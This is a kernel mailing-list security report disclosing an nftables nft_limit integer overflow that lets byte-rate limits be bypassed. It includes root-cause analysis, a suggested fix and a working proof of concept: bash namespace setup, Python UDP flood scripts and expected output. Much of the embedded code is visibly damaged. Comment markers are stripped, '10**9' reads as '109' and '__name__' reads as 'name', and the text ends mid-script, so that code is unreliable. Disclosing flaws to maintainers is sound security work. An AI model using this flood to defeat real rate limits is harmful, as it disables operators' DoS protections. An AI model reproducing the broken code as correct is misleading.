All of lore.kernel.org
 help / color / mirror / Atom feed
* [SECURITY] netfilter: nft_limit byte-rate bypass via unchecked u64 multiplication
@ 2026-10-09 17:01 SaifAllah benMassaoud
  2026-10-11  7:34 ` Pablo Neira Ayuso
  0 siblings, 1 reply; 8+ messages in thread
From: SaifAllah benMassaoud @ 2026-10-09 17:01 UTC (permalink / raw)
  To: netfilter-devel; +Cc: security


[-- Attachment #1.1: Type: text/plain, Size: 36550 bytes --]

Component: net/netfilter/nft_limit.c
Tested on: Linux 7.0.0-34-generic (x86_64), nftables v1.1.6
Status in upstream: unfixed as of Linux 7.3-rc5 (72d3fcf80, 2026-09-27)
---

Summary

This is a kernel defect, in net/netfilter/nft_limit.c. The nft/nftables
userspace tool only builds the rule and sends it to the kernel over
NFTA_LIMIT_CMD; the faulty arithmetic runs inside nft_limit.ko on the packet
path. Patching the userspace package would not fix it — only a kernel change
does.

The nftables byte-based rate limiter computes the token-bucket cost of a
packet
as:

c
u64 cost = div64_u64(priv->nsecs * pkt->skb->len, priv->rate);


pkt->skb->len is multiplied into priv->nsecs with no overflow check. For
any byte-based limit whose time unit is long enough that nsecs * skb->len
crosses 2^64, the product wraps and cost collapses to a small value. The
token
bucket is then charged a fraction of the packet's true price, and the
limiter
admits traffic far above the configured rate.

Demonstrated end-to-end: a configured limit rate 30000 bytes/week rule,
enforced with policy drop, admits 610 MB in 20 seconds — a 70,752x
under-charge of the token bucket. The identical rule applied to ordinary
sub-threshold packets blocks 99.9% of the same flood.

---

1. Root cause

net/netfilter/nft_limit.c, two reachable eval sites with identical code.

Anonymous limit expression — nft_limit.c:249-258:
c
static void nft_limit_bytes_eval(const struct nft_expr *expr,
struct nft_regs *regs,
const struct nft_pktinfo *pkt)
{
struct nft_limit_priv *priv = nft_expr_priv(expr);
u64 cost = div64_u64(priv->nsecs * pkt->skb->len, priv->rate);   /* :254 */

if (nft_limit_eval(priv, cost))
regs->verdict.code = NFT_BREAK;
}


Named limit object — nft_limit.c:382-391:
c
static void nft_limit_obj_bytes_eval(struct nft_object *obj,
    struct nft_regs *regs,
    const struct nft_pktinfo *pkt)
{
struct nft_limit_priv *priv = nft_obj_data(obj);
u64 cost = div64_u64(priv->nsecs * pkt->skb->len, priv->rate);   /* :387 */
...
}


1.1 Why a wrapped cost causes admission

nft_limit_eval() — nft_limit.c:32-53:

c
u64 now, tokens;
s64 delta;
...
tokens = priv->limit->tokens + now - priv->limit->last;
if (tokens > priv->tokens_max)
tokens = priv->tokens_max;
priv->limit->last = now;
delta = tokens - cost;          /* :44  -- evaluated in u64 */
if (delta >= 0) {               /* :45 */
priv->limit->tokens = delta;
...
return priv->invert;
}


tokens - cost is computed in u64. A wrapped-small cost leaves delta
non-negative, so the packet is admitted and the bucket is decremented by the
wrapped amount rather than the real one.

1.2 Live disassembly confirmation

From the shipped module on the running kernel
(/usr/lib/modules/7.0.0-34-generic/kernel/net/netfilter/nft_limit.ko.zst):


bc0:  48 0f af 47 20    imul 0x20(%rdi),%rax     nsecs * skb->len
bc5:  48 f7 77 18       divq 0x18(%rdi)          / rate


A single imul with no mul/jo overflow-detection pair, whose result
flows directly into the delta comparison. This confirms the shipped binary,
not just the source tree.

1.3 From arithmetic overflow to security failure

An integer overflow is not a vulnerability by itself — plenty of arithmetic
overflows harmlessly. This one becomes a vulnerability at the point where
the
corrupted number drives an access decision. In nft_limit there is exactly
one
such decision: *"does this packet fit in the token bucket?"* The full chain
is:

1. Defect — nsecs * pkt->skb->len is multiplied with no overflow check
   (:254, :387).
2. Wraparound — the product exceeds 2^64 and wraps to a small value.
3. Understated cost — the packet is charged 8.69 s instead of
   614,900 s, a 70,752x under-charge.
4. Bucket never drains — delta = tokens - cost stays non-negative forever,
   so the bucket is never emptied.
5. NFT_BREAK never fires — the limiter never signals "over limit".
6. Admission — traffic is passed that the configured rate should have
   dropped.

Step 3 is where an arithmetic bug turns into a security failure. Steps 4-6
are
ordinary logic operating on a number that is already wrong.

In defect-reporting terms: the bug is the missing overflow check; the
mechanism is unsigned 64-bit wraparound; the vulnerability is that the
byte rate limiter can be made to admit traffic far above its configured
limit;
the impact is a silently defeated DoS control. The overflow is the *how*;
the
bypass is the *what*.

Because nsecs and skb->len are unsigned, the wraparound is defined C
behaviour rather than undefined behaviour — the compiler emits no
diagnostic and
the kernel takes no trap. That is precisely why this manifests as a quiet
wrong
answer rather than a crash.

---

2. Arithmetic

2.1 Overflow threshold — depends only on the time unit

The threshold is set by where nsecs * skb_len crosses 2^64. Since
nsecs = unit * 1e9 is a function of the unit alone, and rate is only a
*divisor applied after* the overflowing multiply, the threshold does not
depend
on the configured rate:


threshold = floor(2^64 / nsecs) + 1


Two units matter, because only the longest one crosses 2^64 within reach of
a
real packet:

* day — nsecs = 8.64e13, so the threshold is skb_len ≥ 213,504. That
  exceeds the largest skb_len a packet can have, so a daily byte limit is
not
  reachable.
* week (the longest unit nft accepts) — nsecs = 6.048e14, giving a
  threshold of skb_len ≥ 30,501. This one is reachable.

2.2 Amplification vs. actual throughput — two distinct claims

These must not be conflated, and the report does not conflate them.

Amplification ratio — rate divides out, so it is rate-independent:


amplification = nsecs*skb_len / ((nsecs*skb_len) mod 2^64)   =  70,752x


Absolute throughput — *not* rate-independent. Per-packet cost is
true_cost/rate vs. wrapped_cost/rate, so the achievable admit rate scales
directly with the configured rate. At skb_len=30501:

Three rates illustrate this at skb_len=30501. At 1,000 bytes/week the true
per-packet cost is 18,447,004.8 s but only 260.726 s is charged. At 30,000
bytes/week — the rate actually demonstrated — the true cost is 614,900.16 s
while just 8.691 s is charged. At 100,000 bytes/week the true cost is
184,470.048 s against 2.607 s charged. The ratio is 70,752x in every case,
because rate cancels; what changes with rate is the absolute number of
seconds involved.

Correctly stated: the *threshold* and the *amplification factor* are
rate-independent; the *throughput obtained* is not.

2.3 The wrap boundary

At rate=30000 bytes/week:

At rate=30000 bytes/week, a packet of skb_len = 30,500 does not wrap:
its true cost is 614,880.000 s and its charged cost is likewise 614,880.000
s.

One byte larger, at skb_len = 30,501, the product overflows. The true cost
is
614,900.160 s, but the charged cost collapses to 8.691 s.

A single-step collapse of 70,752x at exactly
skb_len = 30501 = floor(2^64/nsecs) + 1.

---

3. Reproduction

3.1 Exact conditions required

All of the following must hold simultaneously:

1. A byte-based limit (bytes/<unit>). Packet-count limits
   (nft_limit_pkts_eval) are unaffected — they use priv->cost, a fixed
   per-packet value.
2. A time unit long enough that nsecs * skb_len can cross 2^64. With
   nft(8) the only qualifying unit is week (threshold skb_len ≥ 30501);
   day requires skb_len ≥ 213,504, which exceeds the maximum skb_len.
3. Packets whose skb->len reaches that threshold — here skb_len = 30501
   (30473 B UDP payload + 20 B IPv4 + 8 B UDP), achievable on a standard
   loopback MTU 65536 path.
4. nftables reachable by the attacker, i.e. CAP_NET_ADMIN in a non-initial
   user namespace — available to any unprivileged local user.

> Environment note. On Ubuntu 24.04+ the unshare -Urn route additionally
> depends on kernel.apparmor_restrict_unprivileged_userns=0. That is a
> userspace confinement policy, not a kernel restriction — it does not bear
> on the defect, and the usual CI, container, and VM environments reach this
> path without it. On such a host, either set that sysctl or run the PoC
under a
> profile that permits user namespaces.

3.2 Setup (unprivileged)

bash
unshare -Urn -- bash
ip link set lo up
ip addr add 127.0.0.1/8 dev lo

nft add table ip t
nft add chain ip t c '{ type filter hook input priority 0; policy drop; }'
nft add rule ip t c limit rate 30000 bytes/week accept


> Rule-form note (implementation detail that matters for reproduction).
> nft_limit_*_eval() sets regs->verdict.code = NFT_BREAK, which per
> include/uapi/linux/netfilter/nf_tables.h:57 only "terminate[s] evaluation
of
> the current rule" — it does not drop the packet. Over-limit packets
> therefore fall through to the next rule / chain policy. The enforcing
rule must
> carry its own verdict (limit ... accept) with policy drop. Writing
> limit ... followed by a separate accept rule lets every packet through.

3.3 Traffic generator

This is the complete manual reproduction — run it inside the shell from
§3.2 and
it prints how many packets the limiter admitted. Nothing else is required.

python
import socket, time, threading

SKB_LEN, N = 30501, 20000

r = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)   receiver = "server"
r.bind(("127.0.0.1", 0))
port = r.getsockname()[1]
r.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 64 << 20)

admitted, stop = [0], [False]
def drain():
    r.settimeout(0.15)
    while not stop[0]:
        try:
            r.recvfrom(70000); admitted[0] += 1   counted == made it past
the limit
        except socket.timeout:
            pass
        except OSError:
            return
threading.Thread(target=drain, daemon=True).start()

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)   sender = "attacker"
for _ in range(N):
    s.sendto(b"A" * (SKB_LEN - 28), ("127.0.0.1", port))   30473 + 20 IP +
8 UDP

time.sleep(1.0); stop[0] = True; time.sleep(0.3)
print(f"admitted {admitted[0]}/{N}  = {admitted[0]*SKB_LEN/1e6:.1f} MB "
      f"through a 30000 B/week limit")


Expected: admitted 20000/20000 = 610.0 MB.

Then re-run §3.2 to reinstall the rule, change SKB_LEN to 1528, and re-run
this script. Expected: admitted 19/20000 = 0.0 MB. That contrast — same
rule,
same flood volume, only packet size differs — is the entire demonstration.

The scripted PoCs in §7 do this automatically and assert the rule is
actually
present, which the manual path does not check.

3.4 Observed results

Identical rule, identical flood volume, only skb_len differs.

The control arm sent skb_len = 1,528: 19 of 20,000 packets were
admitted and 19,981 were blocked — 99.9% blocked, 29 KB through the policy.

The attack arm sent skb_len = 30,501: 20,000 of 20,000 packets were
admitted and 0 were blocked — 610 MB through the same 30,000 B/week
policy.

The contrast is the finding: the control arm proves the rule is installed
and
enforcing; the attack arm proves enforcement collapses purely as a function
of
packet size. Both figures reproduce deterministically.

3.5 Packet-size sweep — boundary is the 2^64 crossing

Twelve packet sizes were tested, each in a fresh ruleset under the same
30000 bytes/week rule, bursting 3,000 packets apiece.

Below the threshold — no overflow, limiter holds. At skb_len 1,400 the
charged cost is 28,224 s and 21 packets were admitted. At 1,528 it is
30,804 s
and 19 were admitted. At 30,000 it is 604,800 s and just 1 was admitted. At
30,500 the cost is 614,880 s and 0 packets were admitted — the limiter
blocked the entire burst.

At the threshold — total collapse. At 30,501 the charged cost drops to
8.69 s and all 3,000 packets were admitted. At 30,502 the charged cost
is 28.85 s, and again all 3,000 were admitted.

Above the threshold — still bypassing, decaying magnitude. At 31,000 the
charged cost is 10,068 s and 60 packets were admitted; at 32,768, 45,711 s
and
13 admitted; at 40,000, 191,508 s and 3 admitted; at 50,000, 393,108 s and 1
admitted; at 60,000, 594,708 s and 1 admitted; at 65,000, 80,617 s and 7
admitted.

The discontinuity at 30,500 → 30,501 lands precisely on the predicted 2^64
crossing, which identifies this overflow — and not some incidental timing
effect — as the mechanism.

The magnitude of the bypass decays as packets grow past the threshold,
because
the wrapped cost nsecs * skb_len mod 2^64 climbs back up with packet size:
burst capacity is ~69,590 packets at 30501 but only 7 at 65000. Every
wrapping size still defeats the limiter — a correct bucket admits 0 packets
at
this rate — but the dramatic case is the 30501–30502 band.

3.6 Named limit object path

The second eval site (:387) reproduces identically:

bash
printf 'table ip t {\n\tlimit lim {\n\t\trate 30000 bytes/week ;\n\t}\n}\n'
> lim.nft
nft -f lim.nft
nft add chain ip t c '{ type filter hook input priority 0; policy drop; }'
nft add rule ip t c limit name lim accept


Result with the same 30,501-byte flood: 3,000 / 3,000 admitted.

---

4. Scope of impact

* Security-control bypass. A byte-rate limit — the standard nftables
  anti-abuse / anti-DoS primitive — silently stops limiting. The rule
remains
  valid and continues to appear correctly in nft list ruleset; only
enforcement
  is gone. Nothing warns the operator.
* Unprivileged. No CAP_NET_ADMIN in the initial user namespace. nftables is
  reachable from an unprivileged user + network namespace, the standard
container
  and multi-tenant posture.
* Both rule forms affected — anonymous limit expression and named limit
  object.
* limit ... over (inverted) rules are affected in the mirror sense: the
  NFT_LIMIT_F_INV path trusts the same wrapped cost.
* No memory-safety impact, no crash, no oops. This is a pure logic /
  integer-arithmetic defect. No out-of-bounds access, no use-after-free, no
  refcount or lifetime issue. No interaction with panic_on_oops.
* Honest scoping of the threat model. In the demonstrated configuration the
  same unprivileged user both installs the rule and generates the traffic,
so
  the practical blast radius is bounded by ruleset ownership. The
  security-relevant case is a limit authored by a *more privileged* party —
a
  host or container netns handed to a less-privileged tenant, or a limit on
a
  shared ingress path. There, the configured limit is the trust boundary,
and it
  can be evaded by packet size alone, without any privilege.

---

5. Affected versions

Three trees were checked. v7.0 (commit 028ef9c) is vulnerable, with the
fault at :254 and :387. v7.2.8 is vulnerable at :253 and :385 — the
line numbers shift, the defect does not. v7.3-rc5 (commit 72d3fcf80,
2026-09-27) is also vulnerable, with no fix present.

git log -- net/netfilter/nft_limit.c shows no commit addressing this, and no
overflow guard was added to either eval site in any checked tree. No
matching
CVE or public advisory was found; the nearest nftables CVEs
(CVE-2026-63920 put_cmsg, CVE-2026-53267 nft_ct_get_eval,
CVE-2023-35001 nft_byteorder) are unrelated defects.

5.1 Userspace clamps are not a mitigation

* nft(8) accepts only second|minute|hour|day|week, and caps rate at 30,500.
* Both are userspace restrictions. NFTA_LIMIT_RATE and NFTA_LIMIT_UNIT
  are NLA_U64, and the kernel's only constraint on unit is
  check_mul_overflow(unit, NSEC_PER_SEC) — which does not bound the
  packet-path product.
* The demonstrated configuration therefore uses the *maximum* rate any
  shipping client accepts (30,000) and the *longest* unit available (week),
  i.e. the most conservative point that still triggers the overflow. The
  overflow is not an artifact of userspace clamping.

---

6. Suggested fix

Guard the packet-path product in both eval sites. nft_limit_eval() is
static inline returning bool, so the call sites can clamp rather than fail:

c
u64 bytes, cost;

/* A product that overflows must be treated as maximally expensive, not
* allowed to wrap to a small value that reads as "affordable".
*/
if (check_mul_overflow(priv->nsecs, pkt->skb->len, &bytes))
cost = U64_MAX;
else
cost = div64_u64(bytes, priv->rate);


Saturating cost matters more than it looks. An early return here would be a
fail-open fix, not a fail-closed one: the function returns false ("under
limit"), so NFT_BREAK is never set, the chain continues, and the accept
verdict on the rule lets the oversized packet through. Saturating to U64_MAX
feeds the existing delta = tokens - cost comparison, so the packet exhausts
the bucket and takes the normal over-limit path — for the limit ... over
(inverted) form it likewise falls on the correct side, since an
astronomically-over-limit packet is genuinely over the limit.

Alternatively, bound nsecs at init such that nsecs * max_skb_len cannot
overflow, or reject byte limits whose unit permits it.

pkt->skb->len is bounded by device MTU and by GSO/GRO aggregation, so a fix
should not assume a small upper bound.

---

7. Proof of concept

The whole demonstration is one self-contained script, poc, included as an
attachment. It embeds the three proof-of-concept programs below, runs each
in
turn, and cleans up after itself. Every program creates its own nftables
ruleset, brings up lo, measures what the limiter admits, and exits — nothing
needs configuring by hand.

What each embedded program establishes:

* the bypass test — the bug itself. Applies the same limit rule at two
  packet sizes: a sub-threshold packet is correctly limited, an
  overflow-triggering packet is not. Prints a pass/fail verdict.
* the boundary sweep — that the trigger point is *exactly* where
  nsecs * skb_len crosses 2^64 and nowhere else. Sweeps 12 packet sizes.
* the limit-object test — that the named limit-object code path
  (nft_limit_obj_eval, :387) is affected identically to the anonymous rule
  path (:254).

7.1 How to run it

A single self-contained script is attached as poc. It embeds all three
proof-of-concept programs, unpacks them to a temporary directory, runs them
in
order, and cleans up on exit. No arguments, no setup, no companion files.

bash
chmod +x poc
./poc


It prints five labelled steps:


[1] limit rule    the rule under test, as installed
[3] nft_limit.c   the vulnerable line, at both eval sites
[4] boundary      skb_len sweep showing the 30,501 threshold
[5] limit object  the named limit-object path (:387)


Between steps 1 and 3 the script measures the bypass itself: the limit
arithmetic, then the same rule applied at two packet sizes with the verdict.

poc re-execs itself inside unshare -Urn when it is not already in a user
namespace. That is what makes the demonstration unprivileged: a user
namespace
plus a network namespace give the process CAP_NET_ADMIN over its *own
private*
ruleset while it remains uid 1000 with CapEff=0 outside. No root is needed
and the host's real firewall is never touched.

> On a stock Ubuntu 24.04+ desktop, AppArmor may block unshare -Urn
> (kernel.apparmor_restrict_unprivileged_userns=1). That is a userspace
> confinement policy, not a kernel restriction, and is unrelated to the
defect.
> Either set that sysctl to 0, run under a profile that permits user
> namespaces, or use any container/VM/CI environment. Servers are
unaffected.

Section 7.4 lists the complete source. poc is the only file needed to
reproduce: it contains all three proof-of-concept programs inline, so there
is
nothing else to download, build, or unpack.

7.2 Expected output


[+] policy        : 30000 bytes / week  (nft CLI max rate)
[+] nsecs         : 604800000000000
[+] nsecs*skb_len : 18447004800000000000
[+] 2^64          : 18446744073709551616
[+] wraps         : True   cost_num=260726290448384
[+] amplification : 70,752x
[+] correct  = 170.81 h/pkt   overflow = 8.691 s/pkt

  CONTROL  skb_len=1528  (no overflow)
    rule='limit rate 30000 bytes/week'  skb_len=1528 (payload 1500)
    sent=20000 in 0.02s -> ADMITTED=19  BLOCKED=19981   [0.03 MB admitted]
  ATTACK   skb_len=30501  (overflow)
    rule='limit rate 30000 bytes/week'  skb_len=30501 (payload 30473)
    sent=20000 in 0.06s -> ADMITTED=20000  BLOCKED=0   [610.02 MB admitted]
Policy allows 30000 B/week = 0.99 B over a 20s window
effective burst capacity: control=19 pkts  attack=69590 pkts
CONTROL admitted       29,032 B  (19/20000 pkts, 99.9% blocked)
ATTACK  admitted  610,020,000 B  (20000/20000 pkts, 0.0% blocked) = 610.0 MB

control blocks >90%: True | attack admits ~all: True | verdict: True
BYPASS CONFIRMED -- a 30000 B/week DoS-control admitted 610.0 MB in 20s


control=19 pkts is the honest burst capacity of the bucket at skb_len=1528
(tokens_max / cost), and 19 is exactly how many the control arm admitted.
attack=69590 pkts is the same formula with the wrapped cost.

7.3 Expected output — boundary sweep

Columns, in order: skb_len — packet size; wraps — whether nsecs * skb_len
reaches 2^64; cost/pkt(correct) and cost/pkt(overflow) — the per-packet
charge in seconds before and after the wrap; admitted/3000 — how many of
3000
packets the limiter let through; verdict — whether the control failed.


[!] nsecs=604800000000000  predicted wrap threshold skb_len>=30501

      1400  False         28224.000s        28224.0000s        21/3000
 blocked
      1528  False         30804.480s        30804.4800s        19/3000
 blocked
     30000  False        604800.000s       604800.0000s         1/3000
 blocked
     30500  False        614880.000s       614880.0000s         0/3000
 blocked
     30501   True        614900.160s            8.6909s      3000/3000
 BYPASS
     30502   True        614920.320s           28.8509s      3000/3000
 BYPASS
     31000   True        624960.000s        10068.5309s        60/3000
 blocked
     32768   True        660602.880s        45711.4109s        13/3000
 blocked
     40000   True        806400.000s       191508.5309s         3/3000
 blocked
     50000   True       1008000.000s       393108.5309s         1/3000
 blocked
     60000   True       1209600.000s       594708.5309s         1/3000
 blocked
     65000   True       1310400.000s        80617.0618s         7/3000
 blocked


The discontinuity between 30500 and 30501 is the whole finding in one
table: at 30,500 bytes the limiter blocks every packet; at 30,501 bytes it
admits every packet.

The effect is strongest immediately above the threshold and decays as
packets
grow, because the wrapped cost nsecs * skb_len mod 2^64 climbs back up with
packet size. 30501/30502 yield a near-total bypass (~69,590-packet burst
capacity); by 65000 the burst capacity is down to 7 packets. Every wrapping
size still defeats the limiter, since a correct bucket admits 0 packets at
this
rate, but the dramatic case is the 30501–30502 band.

7.4 Source — poc (complete, self-contained)

bash
!/bin/bash
nft_limit byte-rate limit bypass - self-contained demo.
All PoC code is embedded below; no external files needed.
  ./poc          normal
  FAST=1 ./poc   no pauses

set -u

if [ "$(id -u)" != "0" ]; then
    unshare -Urn -- bash "$0" "$@"
    rc=$?
    [ "$rc" -ne 0 ] && { echo; echo "blocked: no user namespace."
        echo "fix:  sudo sysctl -w
kernel.apparmor_restrict_unprivileged_userns=0"; }
    exit $rc
fi

PAUSE=1; [ "${FAST:-}" = "1" ] && PAUSE=0
nap() { [ "$PAUSE" = "1" ] && sleep "${1:-2}"; }

W=$(mktemp -d)
trap 'rm -rf "$W"' EXIT

cat > "$W/nft_limit_bypass_final.py" <<'POC_STEP_A_EOF'
!/usr/bin/env python3
"""
Live PoC: nftables byte-rate limit (DoS-control) bypass via u64 overflow.

ROOT CAUSE -- net/netfilter/nft_limit.c:254 and :387 (identical code):
      u64 cost = div64_u64(priv->nsecs * pkt->skb->len, priv->rate);

  * priv->nsecs = unit_seconds * 1e9.  Validated only by
        check_mul_overflow(unit, NSEC_PER_SEC, &priv->nsecs)
[nft_limit.c:73]
    so nsecs may approach 2^64.  Largest unit nft accepts is week
    -> nsecs = 604800 * 1e9 = 6.048e14.
  * pkt->skb->len is multiplied in with NO overflow check, so
    nsecs * skb->len wraps mod 2^64.
  * nft_limit_eval()  [nft_limit.c:44-45]:
        delta = tokens - cost;      /* u64 arithmetic */
        if (delta >= 0) { accept }
    A wrapped-small cost therefore reads as "affordable" and the packet is
    admitted even though it should have drained the bucket many times over.

AMPLIFICATION = nsecs*skb_len / ((nsecs*skb_len) mod 2^64)
  rate cancels out.

Verified parameters (skb->len INCLUDES 20B IP + 8B UDP headers):
    unit=week, nsecs = 6.048e14
    wrap needs skb->len >= 30501
    skb->len = 30501 -> cost_num = 260,726,290,448,384
    AMPLIFICATION = 70,752x

  nft(8) userspace rejects rate > 30500, so the PoC uses the max legal
  CLI value, rate=30000 bytes/week:
      correct  cost/pkt = nsecs*skb_len/rate = 614,900 s  (~171 h)
      overflow cost/pkt = cost_num/rate       =      8.69 s
  => the overflow under-charges each packet by 70,752x, so a correct
     limiter (19-packet burst at skb_len=1528) lets 69,590 through.

Unprivileged: whole PoC runs inside unshare -Urn; outside the userns the
process is uid 1000 with CapEff=0.  No crash, no oops -- pure logic bug.
"""
import os, socket, subprocess, sys, threading, time

NFT = "nft"
IP_HDR, UDP_HDR = 20, 8
U64 = 1 << 64

def sh(c):
    return subprocess.run(c, shell=True, capture_output=True, text=True)

def build(rule):
    """Enforce a byte limit correctly.

    nft_limit_*_eval() sets regs->verdict.code = NFT_BREAK when the limit is
    EXCEEDED, and NFT_BREAK only "terminates evaluation of the current rule"
    (nf_tables.h:57) -- it does NOT drop.  So the enforcing rule must carry
    its own verdict:

        limit rate <R> bytes/week accept      under limit -> accept

    and over-limit packets must fall through to the chain policy (drop).
    An earlier revision used limit ... + a separate accept rule, which let
    EVERY packet through because NFT_BREAK fell straight into that accept.
    """
    sh("nft flush ruleset")
    sh("nft add table ip t")
    sh("nft add chain ip t c '{ type filter hook input priority 0; policy
drop; }'")
    r = sh(f"nft add rule ip t c {rule} accept")
    if r.returncode != 0:
        sys.exit(f"FATAL: limit rule '{rule} accept' rejected:
{r.stderr.strip()}")
    ls = sh("nft list chain ip t c").stdout
    if "limit rate" not in ls:
        sys.exit(f"FATAL: limit rule absent from ruleset:\n{ls}")
    if "policy drop" not in ls:
        sys.exit(f"FATAL: chain policy is not drop:\n{ls}")
    return ls

def run(rule, skb_len, n, window_s, label):
    build(rule)
    payload = skb_len - IP_HDR - UDP_HDR
    if payload <= 0:
        sys.exit(f"skb_len {skb_len} too small")

    r = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    r.bind(("127.0.0.1", 0))
    r.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 64 << 20)
    port = r.getsockname()[1]
    r.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 64 << 20)

    admitted = [0]
    stop = [False]
    def drain():
        r.settimeout(0.15)
        while not stop[0]:
            try:
                r.recvfrom(70000); admitted[0] += 1
            except socket.timeout:
                pass
            except OSError:
                return
    threading.Thread(target=drain, daemon=True).start()

    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    t0 = time.time(); sent = 0
    while time.time() - t0 < window_s and sent < n:
        try:
            s.sendto(b"A" * payload, ("127.0.0.1", port)); sent += 1
        except OSError:
            time.sleep(0.0005)
    el = time.time() - t0
    time.sleep(0.4); stop[0] = True; time.sleep(0.25)
    s.close(); r.close()
    a = admitted[0]
    print(f"  {label}")
    print(f"    rule='{rule}'  skb_len={skb_len} (payload {payload})")
    print(f"    sent={sent} in {el:.2f}s -> ADMITTED={a}  BLOCKED={sent-a}"
          f"   [{a*skb_len/1e6:.2f} MB admitted]")
    return a, sent

if name == "main":
    sh("ip link set lo up")
    sh("ip addr add 127.0.0.1/8 dev lo 2>/dev/null || true")
    RATE, UNIT = 30000, "week"
    nsecs = 604800 * 109
    L = 30501
    cost_num = (nsecs * L) % U64
    amp = (nsecs * L) // cost_num
    print(f"[+] policy        : {RATE} bytes / {UNIT}  (nft CLI max rate)")
    print(f"[+] nsecs         : {nsecs}")
    print(f"[+] nsecs*skb_len : {nsecs*L}")
    print(f"[+] 2^64          : {U64}")
    print(f"[+] wraps         : {nsecs*L >= U64}   cost_num={cost_num}")
    print(f"[+] amplification : {amp:,}x")
    print(f"[+] correct  = {(nsecs*L)/RATE/1e9/3600:.2f} h/pkt"
          f"   overflow = {cost_num/RATE/1e9:.3f} s/pkt\n")

    W, N = 20.0, 20000
    CONTROL: same rule, sub-threshold packet (1528 < 30501) -> no wrap
    ctl_a, ctl_s = run(f"limit rate {RATE} bytes/{UNIT}", 1528, N, W,
                       "CONTROL  skb_len=1528  (no overflow)")
    ATTACK: same rule, overflow-triggering packet -> bucket under-charged
    atk_a, atk_s = run(f"limit rate {RATE} bytes/{UNIT}", L, N, W,
                       f"ATTACK   skb_len={L}  (overflow)")

    budget = RATE * W / 604800
    effective burst capacity = tokens_max / cost
    cap_ctl = int(nsecs // ((nsecs * 1528 // RATE) or 1))   = tokens_max /
cost
    cap_atk = int(nsecs // (cost_num // RATE))
    print(f"Policy allows {RATE} B/{UNIT} = {budget:.2f} B over a {W:.0f}s
window")
    print(f"effective burst capacity: control={cap_ctl} pkts
 attack={cap_atk} pkts")
    print(f"CONTROL admitted {ctl_a*1528:>12,} B  ({ctl_a}/{ctl_s} pkts, "
          f"{100*(1-ctl_a/max(ctl_s,1)):.1f}% blocked)")
    print(f"ATTACK  admitted {atk_a*L:>12,} B  ({atk_a}/{atk_s} pkts, "
          f"{100*(1-atk_a/max(atk_s,1)):.1f}% blocked) = {atk_a*L/1e6:.1f}
MB")

    ctl_blocked = 1 - ctl_a / max(ctl_s, 1)
    atk_blocked = 1 - atk_a / max(atk_s, 1)
    verdict = (ctl_blocked > 0.90) and (atk_blocked < 0.01) and (atk_a >
1000)
    print(f"\ncontrol blocks >90%: {ctl_blocked > 0.90} | attack admits
~all: "
          f"{atk_blocked < 0.01} | verdict: {verdict}")
    if verdict:
        print(f"BYPASS CONFIRMED -- a {RATE} B/{UNIT} DoS-control admitted "
              f"{atk_a*L/1e6:.1f} MB in {W:.0f}s")
    else:
        print("[!] inconclusive -- inspect")
POC_STEP_A_EOF

cat > "$W/nft_limit_sweep.py" <<'POC_STEP_B_EOF'
!/usr/bin/env python3
"""
Sweep: confirm the bypass boundary is exactly where nsecs*skb_len overflows.

For limit rate 30000 bytes/week: nsecs = 604800e9.
  correct cost/pkt   = nsecs*skb_len/rate ns
  overflow cost/pkt  = (nsecs*skb_len mod 2^64)/rate ns
Threshold predicted by arithmetic: skb_len >= 30501.

Each size is tested in a FRESH ruleset with the same rule; we burst 3000
packets and count how many the limiter admitted.  Below the threshold the
bucket should deplete after ~1-2 packets; at/above it, the under-charged
cost
lets the whole burst through.
"""
import os, socket, subprocess, sys, threading, time

NFT="nft"; IP_HDR,UDP_HDR=20,8; U64=1<<64
RATE,UNIT=30000,"week"
NSECS=604800*109

def sh(c): return subprocess.run(c,shell=True,capture_output=True,text=True)

def setup():
    sh("nft flush ruleset"); sh("nft add table ip t")
    sh("nft add chain ip t c '{ type filter hook input priority 0; policy
drop; }'")
    r=sh(f"nft add rule ip t c limit rate {RATE} bytes/{UNIT} accept")
    if r.returncode!=0: sys.exit("FATAL "+r.stderr)
    sh("nft add chain ip t d '{ type filter hook output priority 0; policy
accept; }'")

def burst(skb_len,n):
    setup()
    payload=skb_len-IP_HDR-UDP_HDR
    if payload<=0: return None
    r=socket.socket(socket.AF_INET,socket.SOCK_DGRAM);
r.bind(("127.0.0.1",0))
    r.setsockopt(socket.SOL_SOCKET,socket.SO_RCVBUF,64<<20)
    port=r.getsockname()[1];
r.setsockopt(socket.SOL_SOCKET,socket.SO_RCVBUF,64<<20)
    got=[0]; stop=[False]
    def drain():
        r.settimeout(0.15)
        while not stop[0]:
            try: r.recvfrom(70000); got[0]+=1
            except socket.timeout: pass
            except OSError: return
    threading.Thread(target=drain,daemon=True).start()
    s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
    for _ in range(n): s.sendto(b"A"*payload,("127.0.0.1",port))
    time.sleep(0.8); stop[0]=True; time.sleep(0.25)
    s.close(); r.close()
    return got[0]

if name=="main":
    sh("ip link set lo up"); sh("ip addr add 127.0.0.1/8 dev lo 2>/dev/null
|| true")
    thr=U64//NSECS+1
    print(f"[!] nsecs={NSECS}  predicted wrap threshold skb_len>={thr}\n")
    N=3000
    for L in
[1400,1528,30000,30500,30501,30502,31000,32768,40000,50000,60000,65000]:
        prod=NSECS*L
        wraps=prod>=U64
        c_true=prod//RATE/1e9
        c_wrap=(prod%U64)//RATE/1e9 if wraps else c_true
        a=burst(L,N)
        v="BYPASS" if (a is not None and a>N*0.9) else "blocked"
        print(f"  {L:>8} {str(wraps):>6} {c_true:>17.3f}s {c_wrap:>17.4f}s "
              f"{str(a)+'/'+str(N):>14}  {v}")
    print(f"\n  (wrap occurs at skb_len>={thr}; entries below that are
correctly blocked)")
POC_STEP_B_EOF

cat > "$W/named_limit_test.sh" <<'POC_STEP_C_EOF'
!/bin/bash
Demonstrates the bypass via a NAMED limit object (nft_limit.c:387), which
is a
separate eval function from the anonymous rule path (:254) but shares the
identical unchecked multiplication:
      u64 cost = div64_u64(priv->nsecs * pkt->skb->len, priv->rate);

Expected: 3000/3000 admitted under a "30000 bytes/week" limit object.
set -e
ip link set lo up
ip addr add 127.0.0.1/8 dev lo 2>/dev/null || true
nft flush ruleset 2>/dev/null || true

nft add table ip t
nft add chain ip t c '{ type filter hook input priority 0; policy drop; }'
